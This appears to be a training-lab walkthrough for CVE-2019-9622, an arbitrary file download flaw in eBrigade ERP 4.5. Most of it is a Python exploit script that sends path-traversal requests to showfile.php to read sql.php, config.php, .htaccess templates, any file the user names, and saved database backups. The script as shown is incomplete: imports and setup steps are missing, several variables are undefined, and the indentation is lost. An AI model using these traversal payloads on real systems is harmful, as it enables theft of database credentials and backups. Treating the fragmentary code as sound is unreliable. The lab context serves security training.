Walkthrough 1357
Walkthrough 1357
URL https://attackdefense.com/challengedetails?cid=1357
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
Solution:
Step 3: The user credentials are required to be specified in the python script. Update the
credentials in the python script. The login credentials of the web application are provided in the
challenge description.
● Username: 1234
● Password: 1234
#!/usr/bin/python
if (len(sys.argv) != 2):
print "[*] Usage: exploit.py http://127.0.0.1/"
exit(0)
rhost = sys.argv[1]
UserName = "1234" # Administrator/User Username Input
Password = "1234" # Administrator/User Password Input
##
# Login Access and Version Control
##
if choice == 1:
print (Fore.BLUE + "+ [*] Select the file you want to Download/Read:")
print (Fore.YELLOW + "- [*] 1 - /conf/sql.php")
print ("- [*] 2 - /config.php")
print ("- [*] 3 - /.htaccess.template")
print ("- [*] 4 - Manual exploitation")
AFDc = int(raw_input("- [*] Enter a number : "))
if AFDc == 1:
AFD1 = requests.get(rhost+"/showfile.php?section=0&pompier=1&file=../../../conf/sql.php", cookies=cj)
print AFD1.text
elif AFDc == 2:
AFD2 = requests.get(rhost+"/showfile.php?section=0&pompier=1&file=../../../config.php", cookies=cj)
print AFD2.text
elif AFDc == 3:
AFD3 = requests.get(rhost+"/showfile.php?section=0&pompier=1&file=../../../.htaccess.template", cookies=cj)
print AFD3.text
elif AFDc == 4:
print (Fore.RED +"- [!] You must have knowledge of files and directories")
AFDmc = str(raw_input(Fore.BLUE + "+ [*] Enter file name (Ex: /lib/PHPMailer/class.smtp.php) : "))
AFD4 = requests.get(rhost+"/showfile.php?section=0&pompier=1&file=../../.."+AFDmc+"", cookies=cj)
if AFD4.status_code == 200:
try:
mdata = AFD4.text
Le = re.findall(r'javascript:history.back', mdata)
LeClean = Le[0].replace('"','').strip()
if LeClean == "javascript:history.back":
print (Fore.RED + "+ [X] The directory and file name you entered could not be found or incorrect")
except IndexError:
pass
print AFD4.text
else:
print (Fore.RED + "+ [X] Unable to access file")
sys.exit()
else:
print("Invalid input!")
elif choice == 2:
DB = requests.get(rhost+"/showfile.php?section=0&pompier=1&file=../../../user-data/save/"+names+"", cookies=cj)
p = str(Path.cwd())
print(Fore.GREEN + "+ [*] Backup successfully downloaded. Directory path : " + p + "/" + names)
else:
print("Invalid input!")
# end
Save the python script as “exploit.py
Step 4: Run the python script with URL of target as argument.
References:
1. eBrigade (https://ebrigade.net/)
2. CVE-2019-9622 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9622)
3. eBrigade ERP 4.5 - Arbitrary File Download (https://www.exploit-db.com/exploits/46109)